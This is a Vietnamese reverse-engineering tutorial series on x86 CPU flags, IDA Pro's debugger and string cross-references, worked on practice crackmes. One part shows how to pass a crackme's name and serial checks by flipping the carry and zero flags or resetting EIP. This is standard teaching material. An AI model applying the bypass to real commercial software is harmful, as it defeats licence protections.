Tôi không muốn nhồi nhét quá nhiều lý thuyết ngay từ đầu, vì vậy tôi đã lồng ghép và xen kẽ một số bài thực hành để các bạn không có cảm giác nhàm chán. Tuy nhiên, không vì thế mà chúng ta bỏ qua các kiến thức cơ bản, do đó trước khi tiếp tục các phần nâng cao hơn, phần này tôi sẽ cùng với các bạn xem xét một số cờ quan trọng trong ASM.

FLAGS

CARRY FLAG (CF)

Chúng ta đã tìm hiểu hoạt động của cờ CF (cờ nhớ) trong phần trước. Cờ này được kích hoạt trong quá trình tính toán của các số unsigned. Khi kết quả là số âm như ta đã gặp ở bài trước hoặc vượt quá mức biểu diễn tối đa trong trường hợp phép cộng. Hay nói cách khác, cờ CF được thiết lập là 1 khi có nhớ từ bit msb trong phép cộng hoặc có vay vào bit msb trong phép trừ.

Hãy quan sát các ví dụ sau thông qua trình debugger. Thực thi crackme.exe trong IDA thông qua debugger, ta dừng lại tại Entry Point của crackme (như đã cấu hình ở phần trước). Tại đây ta tiến hành patch lệnh như sau:

Khi patch như trên, chế độ graph của IDA sẽ bị lỗi, IDA tự động chuyển đổi về chế độ text. Để chuyển lại về chế độ graph, ta nhấn chuột phải tại địa chỉ entry point và chọn Create Function, sau đó nhấn phím space bar để chuyển lại về chế độ graph ban đầu. Tiếp theo, đặt lại giá trị cho thanh ghi EAX = 0xffffffff bằng cách nhấn chuột phải tại thanh ghi này và chọn Modify Value (E):

Sau khi thay đổi xong, nhấn F8 trace qua lệnh đã patch để thực hiện lệnh add này. Quan sát ta sẽ thấy cờ CF được kích hoạt do phép cộng bị tràn vượt quá số dương lớn nhất:

Điều tương tự xảy ra nếu chúng ta thực hiện patch lệnh bên dưới thành SUB EAX, EDX:

Sau đó, thay giá trị của EAX thành 0x25EDX thành 0x40. Nhấn F8 để thực hiện lệnh và quan sát xem liệu CF có được kích hoạt hay không? Chúng ta đã thấy rằng, nếu trừ hai số dương cho nhau và kết quả là số âm (Signed = -27 ~ 0xFFFFFFE5), cờ CF sẽ được bật lên:

Như vậy là cờ CF đã được kích hoạt. Nếu tôi tiếp tục cho thực hiện phép trừ này một lần nữa bằng cách nhấn chuột phải tại lệnh SUB và chọn Set IP, nhưng lần này tôi thay giá trị của thanh ghi EAX thành 0x100, giá trị của EDX vẫn giữ nguyên.

Tiếp theo F8 để trace qua lệnh:

Ta thấy cờ CF không được kích hoạt.

Như vậy, các quy tắc để bật cờ CF (carry) trong phép toán nhị phân/số nguyên là:

  • Cờ carry được bật nếu phép cộng hai số dẫn đến bit có trọng số lớn nhất bị đẩy ra ngoài – vượt quá khả năng biểu diễn. Ví dụ: 1111 + 0001 = 0000 (CF được bật)
  • Cờ carry được bật nếu phép trừ hai số dẫn tới việc cần phải vay vào bit có trọng số lớn nhất để trừ. Ví dụ: 0000 – 0001 = 1111 (CF được bật)

Trường hợp ngược lại, cờ CF không được bật (bằng 0):

  • 0111 + 0001 = 1000 (carry flag thiết lập bằng 0)
  • 1000 – 0001 = 0111 (carry flag thiết lập bằng 0)

OVERFLOW FLAG (OF)

Cờ OF (cờ tràn) cũng tương tự như cờ CF, nhưng đối với các tính toán liên quan đến số có dấu (signed). Cờ OF được thiết lập 1 khi xảy ra tràn, ngược lại nó bằng 0. Hiện tượng tràn gắn liền với một sự thật là phạm vi của các số biểu diễn trong máy tính có giới hạn. Ví dụ, phạm vi của các số thập phân có dấu có thể biểu diễn bằng một word 16 bit là từ -32768 đến 32767, với một byte 8 bit thì phạm vi là từ -128 đến 127. Đối với các số không dấu thì phạm vi từ 0 tới 65535 cho một word và từ 0 đến 255 cho một byte. Nếu kết quả của một phép tính nằm ngoài phạm vi thì hiện tượng tràn sẽ xảy ra và kết quả nhận được bị cắt bớt sẽ không phải là kết quả đúng. Xem xét một vài ví dụ dưới đây.

Giờ ta thay đổi EIP về lại câu lệnh ADD EAX, 1 và đặt lại giá trị của thanh ghi EAX thành 0x7fffffff (signed: 2147483647):

Sau đó nhấn F8 để thực hiện lệnh:

Chúng ta thấy rằng cờ OF đã được kích hoạt sau khi thực hiện lệnh. Đó là vì khi cộng 1 vào số dương 0x7fffffff, nếu xem xét đây là thao tác tính toán với số có dấu (signed) thì sẽ khiến kết quả sau khi thực hiện là số âm nhỏ nhất (signed: -2147483648) và dẫn đến kết quả sai:

Nếu thực hiện phép trừ EAX cho EDX với các giá trị như trên:

Cờ OF vẫn sẽ được kích hoạt bởi vì khi lấy số âm nhỏ nhất là 0x80000000 trừ đi 0x40 cho kết quả là một giá trị dương rất lớn (0x7FFFFFC0) và khiến cho kết quả của phép toán sai. Do đó, chúng ta có thể kết luận rằng cờ OF được kích hoạt khi có lỗi xảy ra trong quá trình tính toán với dấu. OF được bật khi bit có trọng số cao nhất (được xem là bit dấu) bị thay đổi bằng cách cộng hai số có cùng dấu (hoặc trừ hai số có dấu ngược nhau). Tràn không bao giờ xảy ra khi các dấu của hai toán hạng cộng là khác nhau (hoặc dấu của hai toán hạng trừ là giống nhau).

Như vậy, một số quy tắc để bật OF (overflow) trong phép toán nhị phân/số nguyên là:

  • Nếu tổng của hai số với bit dấu tắt tạo ra kết quả là một số với bit dấu bật, cờ “overflow” sẽ được bật. Ví dụ: 0100 + 0100 = 1000 (OF được bật)
  • Nếu tổng của hai số với bit dấu bật tạo ra kết quả là một số với bit dấu tắt, cờ “overflow” sẽ được bật. Ví dụ: 1000 + 1000 = 0000 (OF được bật)

SIGN FLAG (SF)

Cờ này khá đơn giản, nó được kích hoạt khi kết quả của việc tính toán là số âm, trong mọi trường hợp. Nó chỉ quan tâm tới kết quả của dấu mà không cần quan tâm kết quả tính toán đúng hay sai. Hay nói cách khác, cờ SF (cờ dấu) được thiết lập 1 khi bit msb của kết quả bằng 1, có nghĩa là kết quả là âm nếu ta làm việc vơi số có dấu.

Ví dụ như sau:

Kết quả của0x8000000 cộng 0x1 vẫn nằm trong dải số âm, là 0x8000001, vì vậy SF được kích hoạt. Chúng ta cũng thấy rằng OFCF không được kích hoạt vì không có lỗi trong quá trình tính toán của cả signed hoặc unsigned.

Rõ ràng, bộ xử lý khi thực hiện một lệnh liên quan tới tính toán hai thanh ghi, nó không hề biết các thanh ghi này là signed hay unsigned. Còn chúng ta có thể biết được là bởi vì ta thấy các lệnh nhảy có điều kiện ở phía dưới, ngược lại bộ xử lý không biết, do đó, trong bất kỳ hoạt động nào nó cũng sẽ xem xét các lệnh như thể là signed hoặc unsigned tại cùng một thời điểm và thay đổi các cờ cần thiết.

Vì các lệnh nhảy có điều kiện phụ thuộc vào cờ, chương trình sẽ nhìn vào kết quả của các cờ CF (trong phép tính unsigned) hoặc OF (trong phép tính signed) để từ đó đưa ra quyết định nhảy. Ví dụ, nếu có một lệnh JB (lệnh này là unsigned), do đó nó sẽ chỉ nhìn vào cờ CF và không quan tâm đến cờ OF ngay cả khi cả hai cờ này đều được kích hoạt.

Như vậy, trách nhiệm thuộc về người lập trình, người có quy ước về kết quả. Nếu đang làm việc với số có dấu thì chỉ có cờ OF đáng quan tâm trong khi cờ CF có thể bỏ qua, ngược lại khi làm việc với số không dấu thì cờ quan trọng là CF chứ không phải là OF.

ZERO FLAG (ZF)

Cờ này không phụ thuộc vào dấu

Nó được kích hoạt khi:

  • Phép so sánh (sử dụng một phép trừ) khi cả hai toán hạng đều bằng nhau.
  • Khi tăng hoặc giảm và kết quả là bằng không, hoặc trong một phép trừ mà kết quả có được bằng 0.

Chúng ta có thể chứng minh điều đó:

Ta thiết lập EAX có giá trị 0xffffffff và cộng thêm 1 vào EAX. Điều gì sẽ xảy ra?

Chúng ta thấy rằng cờ ZF được kích hoạt vì kết quả bằng 0 và nếu ta xem xét cả số unsigned thì cờ CF cũng được kích hoạt vì có tràn khi cộng 1 vào số dương lớn nhất. Trong khi đó, cờ OF không được kích hoạt bởi vì cả hai đều là số có dấu, -1 + 1 = 0 và không có lỗi. Cờ SF cũng không kích hoạt vì kết quả không phải là số âm.

Chúng ta thấy trạng thái các cờ rất quan trọng. Hãy xem liệu lệnh nhảy có điều kiện kế tiếp có xảy ra hay không? Ta patch lệnh SUB EAX, EDX như trên và bên dưới là lệnh nhảy JB 0x401018:

Sau đó gán EAX = 0x40EDX = 0x2, nhấn F8 để thực hiện lệnh SUB:

Mũi tên màu đỏ sẽ nhấp nháy vì thanh ghi EAX lớn hơn thanh ghi EDX, do đó lệnh nhảy sẽ không thực hiện. Ta quan sát các cờ.

JB là một lệnh nhảy unsigned và chỉ nhảy nếu cờ CF được kích hoạt. Rõ ràng ở đây cờ CF không được kích hoạt vì quá trính tính toán là chính xác giữa hai số dương cho ra kết quả là số dương, có nghĩa số đầu tiên lớn hơn số thứ hai, như vậy sẽ không thực hiện nhảy.

Nhưng nếu chúng ta thay đổi EAX thành 0x40EDX thành 0x80 và thử lặp lại lệnh trừ một lần nữa:

Trong trường hợp này, vì EAX nhỏ hơn EDX, lệnh nhảy JB sẽ được thực hiện và đi theo hướng của mũi tên màu xanh lá cây.

Vì khi lệnh JB nhìn vào cờ CF, nó sẽ nhảy vì cờ CF đã được bật. Vì kết quả của một thao tác unsigned là số âm và đã gây ra lỗi. Cờ SF cũng được kích hoạt vì kết quả là âm, còn cờ OF không được kích hoạt.

Lệnh JB sẽ nhảy căn cứ theo trạng thái của cờ CF nhưng nếu tôi thay đổi thành lệnh JL.

Trong trường hợp này, hướng thực hiện thay đổi và đi theo mũi tên màu xanh lá cây bởi vì toán hạng đầu tiên nhỏ hơn toán hạng thứ hai, nhưng lệnh nhảy JL căn cứ vào cờ nào?

Chúng ta thấy rằng lệnh JL sẽ thực hiện nếu cờ SF khác 0. Trong trường hợp này cờ SF = 1, do vậy sẽ nhảy và cũng là logic vì toán hạng đầu tiên nhỏ hơn toán hạng thứ hai. Lệnh SUB tương tự cách hoạt động của lệnh so sánh CMP, chỉ khác là SUB lưu kết quả còn CMP thì không.

Kết luận của bài viết này là không nhất thiết phải nhìn vào cờ để biết điều gì sẽ xảy ra với các nhảy có điều kiện, nó thuộc về hoạt động nội bộ bên trong. Chúng ta chỉ cần nhớ rằng, nếu hai toán hạng bằng nhau, lệnh JZ sẽ thực hiện. Nếu toán hạng đầu nhỏ hơn và là unsigned, thì sẽ nhảy nếu nó là lệnh JB. Còn nếu toán hạng đầu nhỏ hơn nhưng ở kiểu signed thì sẽ nhảy nếu là lệnh JL. Như vậy, ta chỉ cần quan sát cột thứ ba trong bảng signedunsigned là đủ. Tuy nhiên, sẽ vẫn là tốt hơn nếu chúng ta có cái nhìn chi tiết hơn :P.

Hẹn gặp lại các bạn ở phần 12!

Image result for we dig deeper funny

Xin gửi lời cảm ơn chân thành tới thầy Ricardo Narvaja!

m4n0w4r

Ủng hộ tác giả

Nếu bạn cảm thấy những gì tôi chia sẻ trong bài viết là hữu ích, bạn có thể ủng hộ bằng “bỉm sữa” hoặc “quân huy” qua địa chỉ:

Tên tài khoản: TRAN TRUNG KIEN
Số tài khoản: 0021001560963
Ngân hàng: Vietcombank


Trong phần này tôi và các bạn sẽ tìm hiểu về tính năng Debugger của IDA. Bản thân IDA hỗ trợ nhiều kiểu Debuggers, để xem cách hoạt động của tính năng này chúng ta mở Crackme Cruehead gốc trong IDA.

Bên lề: Trường hợp IDA hiển thị như hình dưới có nghĩa là đã có một file database trước đó được lưu rồi, ta chọn Overwrite nếu muốn tạo ra một cơ sở dữ liệu mới và ghi đè lên file cũ, lúc đó IDA sẽ tiến hành phân tích toàn bộ file lại từ đầu và tạo một file .idb mới.

Tại màn hình Load a new file… của IDA bỏ chọn Manual load, nếu xuất hiện các cửa sổ khác thì cứ nhấn OK cho đến khi IDA load xong file. Sau khi IDA phân tích xong crackme, lựa chọn Debuggers bằng cách truy cập menu Debugger > Select Debugger như hình:

Các bạn sẽ thấy có nhiều tùy chọn Debugger khác nhau, ta sẽ tìm hiểu dần dần khi có điều kiện. Ở bài viết này chúng ta sẽ lựa chọn Local Win32 debugger để bắt đầu (có thể lựa chọn trình debugger mặc định mỗi khi load một file mới bằng các tích chọn Set as default debugger).

Qua đây, các bạn có thể thấy rằng, IDA không chỉ là một Loader với khả năng static disassembler rất tốt, cung cấp khả năng tương tác mạnh mẽ, mang lại hiệu qủa trong quá trình dịch ngược, mà còn hỗ trợ thêm cả việc debug nhằm hoàn thiện hơn. Tuy nhiên, cách hoạt động của debugger trong IDA sẽ khác một chút so với những gì các bạn đã làm quen với OllyDbg/ x64dbg.

Trong Debuggers > Debuggers options chúng ta có các thiết lập như sau:

Lựa chọn Suspend on process entry point để trình debugger dừng lại tại entry point của crackme. Chúng ta sẽ thực hiện những thay đổi như đã thực hiện trong phần trước. Trước tiên ta sẽ đổi màu các khối và đặt lại tên cho các sub_ như sau:

Sau đó, tại địa chỉ 0x401243 chúng ta đặt một Breakpoint tại lệnh nhảy (JZ) bằng cách nhấn F2 tại địa chỉ này. Tiếp theo, ta chuyển tới một lệnh nhảy khác mà chúng ta cũng đã phân tích trong phần trước, đặt một breakpoint tại lệnh nhảy này đồng thời đổi màu các khối tương tự như hình dưới đây:

Sau khi thiết lập xong, ta thực hiện debug bằng cách chọn Debugger > Start Process hoặc nhấn phím tắt là F9, cửa sổ cảnh báo sẽ xuất hiện như hình:

Cửa sổ cảnh báo trên sẽ luôn luôn xuất hiện khi chúng ta thực hiện debug một tệp thực thi trên máy local của mình. Bởi khi phân tích file bằng Loader của IDA, file đó sẽ không bao giờ được thực thi trên máy chúng ta, nhưng bây giờ nếu file được chạy để phục vụ debug, thì IDA sẽ đưa ra cảnh báo nhắc nhở phải cẩn thận khi thực hiện, vì có khả năng là đó một Virus hay cái gì đó có có thể gây nguy hiểm tới máy tính của chúng ta. Khi đó, ta cần sử dụng tính năng Remote Debugger và thực thi file trong một môi trường ảo hóa hoặc debug hoàn toàn bằng máy ảo. Việc sử dụng tính năng remote debugging như thế nào tôi sẽ cố gắng đề cập trong một bài viết khác.

Do ta đã biết Crackne này hoàn toàn sạch nên nhấn YES để tiếp tục quá trình debug:

Vì chúng ta lựa chọn để dừng lại tại Entry Point, do vậy debugger đã dừng lại tại EP của crackme, tại địa chỉ 0x401000. Nếu bạn nhấn space bar, IDA sẽ chuyển qua chế độ đồ họa như ta đã làm việc ở LOADER. Tiếp theo, các bạn có thể bố trí lại các cửa sổ theo ý thích, thu hẹp lại cửa sổ Output Window, mở rộng cửa số Stack view, thiết lập cửa sổ General registers để quan sát được các thanh ghi cũng như trạng thái của các cờ như hình dưới:

Khi có được một màn hình bố trí hợp lý và phù hợp, ta sẽ lưu nó lại như một thiết lập mặc định. Tại IDA, vào Windows > Save Desktop, tích chọn Default như hình dưới. Làm như thế này, bất cứ khi nào ta thực hiện Debugger, IDA sẽ luôn nạp các thiết lập ta đã đặt mặc định và nếu chúng ta muốn thay đổi nó một lần nữa, ta có thể làm lại mà không có vấn đề gì:

Bên dưới cửa sổ thanh ghi là cửa sổ chứa thông tin về Stack của chương trình:

Ta có màn hình IDA-View EIP là nơi hiển thị toàn bộ các lệnh của chương trình và bên dưới là cửa sổ Hex View hay Hex Dump, hiển thị thông tin của bộ nhớ ở chế độ xem hexa:

Quan sát tại phần dưới của màn hinh disassembly chúng ta thấy các thông tin sau:

Đây là các thông tin về File Offset (Offset của file thực thi khi lưu trên disk) và địa chỉ bộ nhớ (Virtual Address khi file được load vào memory). Nếu chúng ta mở crackme bằng một trình HexEditor, ví dụ như HxD, ta sẽ thấy tại File Offset là 0x600 có cùng opcode như đã thấy tại màn hình disassembly:

Chúng ta đã biết rằng, phím tắt G được sử dụng để đi đến một địa chỉ bộ nhớ bất kỳ, nếu bạn ấn G và nhập vào địa chỉ 0x401389:

Ta sẽ đi đến chỗ đã thiết lập breakpoint. Vào Options > General, cấu hình lại Number of opcode bytes (graph)0:

Trong cửa sổ View > Open Subview > Segments, chúng ta thấy có ba segments được nạp bởi Loader, trong đó CODE segment được nạp vào 0x401000, tiếp theo là DATA segment và .idata segment:

Bất kỳ sự thay đổi nào chúng ta thực hiện với ba segments này đều được lưu lại vì chúng được nạp bởi IDA Loader, nhưng các thay đổi bên ngoài ba segments này sẽ bị mất bởi vì chúng chỉ là các mô-đun nạp bởi Debugger và sẽ không được lưu vào cơ sở dữ liệu của IDA. Như vậy, các mô-đun mà chúng ta đang phân tích và muốn debug phải nằm trong Loader hoặc có xuất hiện chữ L ở đó, rõ ràng chúng cũng sẽ được tải trong Debugger, nhưng có L đồng nghĩa là chúng sẽ ở trong cả hai chế độ và ta vừa có thể phân tích tĩnh tại Loader và vừa debug được bằng Debugger mà không bị mất thông tin.

Một trong những thanh công cụ mà tôi thấy luôn luôn hữu ích là Jump:

IDA sẽ bổ sung thêm hai nút như hình dưới, tương tự như ta thấy ở các trình web browser. Sau khi cho hiển thị toolbar này, ta lưu lại màn hình Windows > Save Desktop.

Thanh công cụ này cho ta khả năng quay trở lại hoặc chuyển tới màn hình đã làm việc lúc trước một cách rất thuận tiện. Nhấn mũi tên , ta sẽ quay lại màn hình entry point của crackme mà ta đã break trước đó:

Cũng ngay tại menu Debugger, ta có thể xem được danh sách các Breakpoints đã đặt thông qua Breakpoint list (Ctrl+Alt+B):

Và đi tới bất kỳ bp nào mà ta muốn bằng cách nhấp đúp vào bp đó, ví dụ:

Lúc này, ta đang dừng lại tại Entry Point và có hai Breakpoints đã thiết lập trước đó, do vậy ta có thể nhấn F9 để thực thi crackme:

Khi crackme đã thực thi hoàn toàn, vào Help > Register và nhập thông tin bất kì, ví dụ:

Sau đó nhấn OK, ta sẽ dừng lại ở bp tại địa chỉ 0x40138B:

Mũi tên bên trái lúc này đang nhấp nháy, nó báo hiệu cho ta biết nơi vùng code tiếp theo sẽ tiếp tục thực hiện. Quan sát tại cửa sổ Registers, chúng ta thấy rằng thanh ghi EAX đang có giá trị 0x6D:

Nếu tôi gõ chr (0x6D) tại thanh Python của IDA, kết quả trả về cho tôi chữ cái m trong chuỗi “manowar”.

Cũng tại thanh Python, làm tương tự như trên ta thấy với chr(0x41) sẽ cho kết quả là chữ A. Như vậy, kí tự này sẽ được so sánh xem liệu nó có thấp hơn giá trị 0x41 (‘A’) không?

Bên cạnh đó, IDA cũng cung cấp cách biểu diễn khác hiển thị rõ ràng hơn, bằng cách một nhấp chuột phải vào giá trị 41h tại màn hình disassembly, trong số các tùy chọn mà chúng ta có thể lựa chọn giống hình dưới, ta thấy có xuất hiện ‘A’:

Làm tương tự với 0x5A, ta có được chữ cái ‘Z’. Chúng ta thấy nó so sánh giá trị 0x6D với AZ. Tại thời điểm này, chưa phải lúc chúng ta tìm cách giải quyết hoàn toàn crackme này, nhưng các bạn thấy rằng 0x6D lớn hơn 0x41, do vậy ta sẽ không đi đến khối màu đỏ – thực hiện hiển thị thông báo lỗi. Rõ ràng, nó sẽ nhảy vào khối đỏ nếu nó thấp hơn, nhưng nó cũng có thể được đánh giá bằng cách quan sát trạng thái của các cờ.

Trong hình trên, chúng ta thấy lệnh nhảy JB nhảy theo mũi tên màu xanh lá cây trong IDA nếu nhỏ hơn. Khi thực hiện lệnh so sánh, cờ C (còn gọi là CF hoặc C) sẽ được kích hoạt, theo đó lệnh nhảy sẽ nhảy nếu cờ C = 1. Quan sát các cờ trong IDA:

Do cờ C = 0 nên lệnh nhảy sẽ không được thực hiện và nó sẽ theo hướng của mũi tên đỏ. Vậy điều kiện tính toán sẽ thế nào để cho cờ Carry Flag được kích hoạt?

Carry Flag cung cấp cho chúng ta thông tin rằng có gì đó đã sai trong một phép toán giữa các số nguyên unsigned. Nếu tôi làm phép trừ giống như cách thực hiện của lệnh CMP (không lưu lại kết quả), phép tính 0x6D-0x41 cho kết quả là 0x2C, đây là một số dương và sẽ không có vấn đề gì. Tuy nhiên, nếu ví dụ, giá trị của tôi là 0x30, bằng cách trừ đi 0x41, kết quả sẽ là -0x11:

Đây là một giá trị âm và không được chấp nhận là kết quả của một phép toán số dương, vì nếu bạn tiếp tục làm việc ở hệ thập lục phân:

Kết quả có được là 0xFFFFFFEF và đây sẽ là một số dương có giá trị rất lớn 4294967279 và không cách nào để thực hiện phép trừ 0x30 – 0x41 ra kết quả bằng 0xFFFFFFEF J.

Làm thế nào để chúng ta biết được cần phải quan tâm đến dấu của kết quả khi thực hiện một phép toán?

Điều này phụ thuộc vào lệnh nhảy, trong trường hợp này JB là một lệnh nhảy được sử dụng sau khi so sánh các số nguyên không dấu (unsigned). Đối với các phép toán giữa các số nguyên có dấu (signed) sẽ sử dụng lệnh JL. Ví dụ, nếu tôi so sánh số 0xFFFFFFFF với 0x40. Trong một lệnh nhảy không quan tâm đến dấu thì rõ ràng là số này lớn hơn, nhưng nếu nó là một bước nhảy nơi mà dấu cần được xem xét, lúc đó 0xFFFFFFFF sẽ là -1 và nó sẽ nhỏ hơn 0x40.

Vì vậy, để đánh giá liệu so sánh sử dụng dấu hay không, chúng ta phải xem xét lệnh nhảy tiếp theo để đưa ra quyết định.

Nếu lệnh nhảy là bất kỳ trong số trên, nó được xem xét là Without Sign, còn nếu thuộc danh sách trong bảng dưới thì được xem xét là With Sign.

Các bạn thấy lệnh nhảy JE (nhảy nếu hai toán hạng bằng nhau) đều xuất hiện ở cả hai bảng vì trong trường hợp đó dấu không còn quan trọng nữa. Nếu hai toán hạng bằng nhau, nó sẽ được kích hoạt bằng cách đặt cờ ZF là 1. Chúng ta cũng thấy rằng lệnh JG (nhảy nếu lớn hơn) trong bảng tổng hợp nhảy có dấu. Cùng một mục đích nhảy như thế là lệnh JA, nhưng trong bảng tổng hợp nhảy không dấu.

Trong quá trình phân tích hàng ngày chúng ta sẽ thường xuyên phải quan sát trạng thái của các cờ, và nếu thấy một lệnh nhảy JB thì ta sẽ biết rằng đó là một so sánh giữa các số dương hay các số nguyên không dấu, và nếu toán hạng đầu tiên là nhỏ hơn thì nó sẽ nhảy.

Nếu tiếp tục thực thi chương trình, bạn sẽ thấy nó liên tục dừng lại ở breakpoint đã đặt, từ đó sẽ thấy rằng ta đang ở một vòng lặp thực hiện đọc từng kí tự của chuỗi tên và so sánh với 0x41, nếu có một kí tự nhập vào thấp hơn thì crackme sẽ hiển thị thông báo lỗi. Tuy nhiên, vừa rồi tôi nhập đều là các chữ cái (manowar) trong ô Name nên sẽ không xảy ra việc hiển thị thông báo lỗi này. Nhưng thử dừng quá trình debug lại và tiến hành debug lại từ đầu, lúc này tôi nhập tên là 22ricnar và key là 98989898:

Nhấn OK, ta lại dừng lại tại breakpoint tại địa chỉ 0x40138B:

Bây giờ, ta thấy rằng kí tự đầu tiên là 0x32 tương ứng với số 2 trong chuỗi 22ricnar. Vì 0x32 nhỏ hơn 0x41, mũi tên màu xanh lá cây sẽ nhấp nháy, tức là lệnh nhảy sẽ được thực hiện, cờ C được kích hoạt bởi vì khi lấy 0x32 trừ đi 0x41 trong một phép trừ unsigned, kết quả có được là số âm, đó là một lỗi sẽ kích hoạt cờ C.

Nếu nhấn chuột phải tại cờ C, ta có thể thiết lập nó về 0:

Khi thiết lập xong thì đồng thời mũi tên đỏ cũng nhấp nháy vì chúng ta vừa mới thay đổi lại điều kiện nhảy.

Nếu chúng ta cho Run tiếp, nó sẽ lại dừng lại tại breakpoint khi kiểm tra kí tự tiếp theo cũng là 2 trong chuỗi 22ricnar, và mũi tên màu xanh lá cây sẽ lại nhấp nháy một lần nữa. Làm tương tự như trên, ta đảo ngược lại cờ CF, thiết lập nó là 0. Những lần break tiếp theo tại lệnh nhảy này tương ứng với chuỗi ricnar, các kí tự từ lúc này trở đi đều lớn hơn 0x41, do đó sau phép so sánh sẽ không kích hoạt cờ CF và crackme sẽ rẽ nhánh theo mũi tên đỏ.

Sau khi vượt qua được quá trình kiểm tra từng kí tự trong chuỗi tên chúng ta dừng lại tại lệnh nhảy thứ hai (đã đặt breakpoint):

Tại đây, ta thấy crackme thực hiện so sánh xem EAX và EBX có bằng nhau không? Chuyển qua cửa sổ Registers, quan sát thấy giá trị của hai thanh ghi là khác nhau, do đó mũi tên đỏ nhấp nháy để báo hiệu sẽ rẽ nhánh vào đoạn code thông báo lỗi:

Do giá trị của hai thanh ghi EAXEBX không bằng nhau cho nên cờ Z không được bật:

Nếu ta thay đổi giá trị của cờ ZF, crackme sẽ rẽ nhánh theo hướng mũi tên màu xanh lá cây để tới vùng code hiển thị Good Work. Nhấn chuột phải tại cờ ZF và chọn Increment Value:

Nhấn F9 để thực thi, ta có được kết quả như sau:

Toàn bộ quá trình thực hiện ở trên cùng đạt một mục đích tương tự như khi chúng ta thực hiện patch crackme này, chỉ khác ở chỗ là ta không thay đổi code của chương trình, hoàn toàn công việc chỉ là thay đổi trạng thái các cờ trong quá trình debug.

Ngoài ra, có một cách khác là thay đổi thanh ghi EIP để nó trỏ tới lệnh tiếp theo được thực hiện. Ví dụ, giả sử ta đang dừng tại lệnh nhảy tại địa chỉ 0x401243, lúc này lựa chọn địa chỉ 0x40124c và nhấn chuột phải và chọn Set IP (hay nhấn phím tắt là CTRL + N):

Lúc đó, chương trình sẽ tiếp tục thực hiện lệnh từ địa chỉ 0x40124c giống như ta đã làm khi thực hiện thay đổi các cờ.

Hẹn gặp lại các bạn ở phần …

Image result for it's time to stop posting

Xin gửi lời cảm ơn chân thành tới thầy Ricardo Narvaja!

m4n0w4r

Ủng hộ tác giả

Nếu bạn cảm thấy những gì tôi chia sẻ trong bài viết là hữu ích, bạn có thể ủng hộ bằng “bỉm sữa” hoặc “quân huy” qua địa chỉ:

Tên tài khoản: TRAN TRUNG KIEN
Số tài khoản: 0021001560963
Ngân hàng: Vietcombank


Ở phần 8, tôi và các bạn đã tìm hiểu cơ bản cách thức xử lý của IDA Loader. Chúng ta sẽ khám phá dần các tính năng khác của IDA qua từng bài viết, ví dụ cách sử dụng Debugger để quan sát các cờ thay đổi khi thực hiện các lệnh, v..v…

Để tìm hiểu các tính năng của IDA, ta sẽ tiếp tục thực hành qua các ví dụ rất đơn giản. Trong phần 9 này là một crackme nhỏ nhẹ, được biên dịch bằng Visual Studio 2015. Để thực thi crackme này có thể bạn cần phải cài đặt phiên bản mới nhất của Visual Studio 2015 C++ runtimes ( https://www.microsoft.com/en-us/download/details.aspx?id=48145: The Visual C++ Redistributable packages install the runtime components to execute compiled C++ Visual Studio 2015 programs).

Sau khi cài đặt xong VC++ runtimes, chạy thử crackme (https://mega.nz/#!LHAGkKRD!h9PJX9kftBW4z3Ykf3Gwpa3LW6H_FCjIv7FZZnGux6s) là HOLA_REVERSER.exe:

Khi nhập vào một số bất kì, crackme sẽ thông báo bạn là một “good” hay “bad” reverser, hehe:

Có thể thấy crackme hoạt động rất đơn giản. Ta sẽ mở nó trong IDA để phân tích.

Bên lề: trong trường hợp của thầy Ricardo Narvaja (không phải của tôi & bạn), sau khi IDA tiến hành phân tích xong, hàm main() của crackme xuất hiện giữa các hàm tại cửa sổ Functions. Có thể dễ dàng tìm kiếm bằng tổ hợp phím CTRL + F tại cửa sổ đó. Điều này xảy ra bởi vì ông ấy là chủ của crackme này, khi biên dịch bằng Visual Studio thì trình biên dịch đã tạo ra thêm một tập tin symbol là .pdb (https://docs.microsoft.com/en-us/windows/desktop/debug/symbol-files). Dựa vào file này, IDA có thể nhận diện và nạp tên của các hàm và các biến mà Ricardo Narvaja sử dụng khi lập trình, ví dụ như trong hàm main() gọi tới hàm printf():

Giờ hãy xem những gì sẽ xảy ra đối với IDA của chúng ta khi phân tích xong crackme.

Tại màn hình IDA của bạn, bạn sẽ không thấy tên hàm main xuất hiện tại cửa sổ Functions bởi IDA không có tập tin .pdb để load cùng. Điều này hoàn toàn bình thường, bởi không coder nào lại cung cấp một chương trình kèm theo symbols cả :).

Thông thường, chúng ta chỉ có được các tập tin symbols của các modules hệ thống (kernel32.dll, ntdll.dll, …) chứ không thể có của các chương trình, ngoại trừ những trường hợp rất hiếm hoi. Trong ví dụ này, Ricardo Narvaja có symbols file là bởi vì ông là người code ra crackme này. Tuy nhiên, để đúng như thực tế, ta sẽ phân tích crackme mà không có symbol đi kèm giống như sẽ gặp với rất nhiều các chương trình khác.

Khi load file không có symbol ta sẽ dừng tại đây:

Như trên hình, code tại đây không cung cấp nhiều thông tin, do vậy ta phải tìm kiếm thông tin tại cửa sổ Strings:

Tại cửa sổ Strings, ta có được thông tin các strings được sử dụng bởi crackme. Qua các strings này ta thấy crackme sẽ hiển thị thông báo nếu như chúng ta nhập vào một số không hợp lệ. Nhấp đúp chuột tại chuỗi “Pone un numerito\n”, chuỗi này trong tiếng anh có nghĩa là “Enter a serial”:

Như kết quả trên hình, ta thấy rằng địa chỉ 0x402108 là con trỏ đến chuỗ. Bên cạnh địa chỉ có một tag mà IDA đặt cho địa chỉ này, bắt đầu bằng “sz” (ở máy tôi) hay “a” (trên máy bạn), hàm ý đây là một chuỗi ASCII và phần còn lại tương ứng với nội dung của chuỗi. Với thông tin này sẽ giúp ta dễ dàng để nhận ra đó là một chuỗi ASCII “szPoneUnNumerit”, từ khóa db ở bên cạnh hàm ý đây là một chuỗi byte.

Nếu nhấn phím “D” chúng ta sẽ chuyển chuỗi này thành các bytes như hình:

Để khôi phục lại chuỗi ban đầu, nhấn phím “A”. Di chuyển con chuột tới biểu tượng mũi tên nhỏ “↑”, IDA sẽ hiển thị thông tin về đoạn code sử dụng tới chuỗi này:

Tuy nhiên, tốt hơn nên sử dụng phím “X” để tìm danh sách tất các các vùng code tham chiếu tới chuỗi:

Kết quả có được như trên hình, nhấn OK ta sẽ tới hàm chính (main), nhưng ở đây hàm không được đặt tên là main như các bạn đã thấy khi load file có kèm .pdb. Ở đây, ta thấy có môt buffer được IDA đặt một cái tên khá chung chung là Buf:

Chúng ta không biết mã nguồn của crackme này, nhưng giả sử cung cấp một đoạn của mã nguồn như sau:

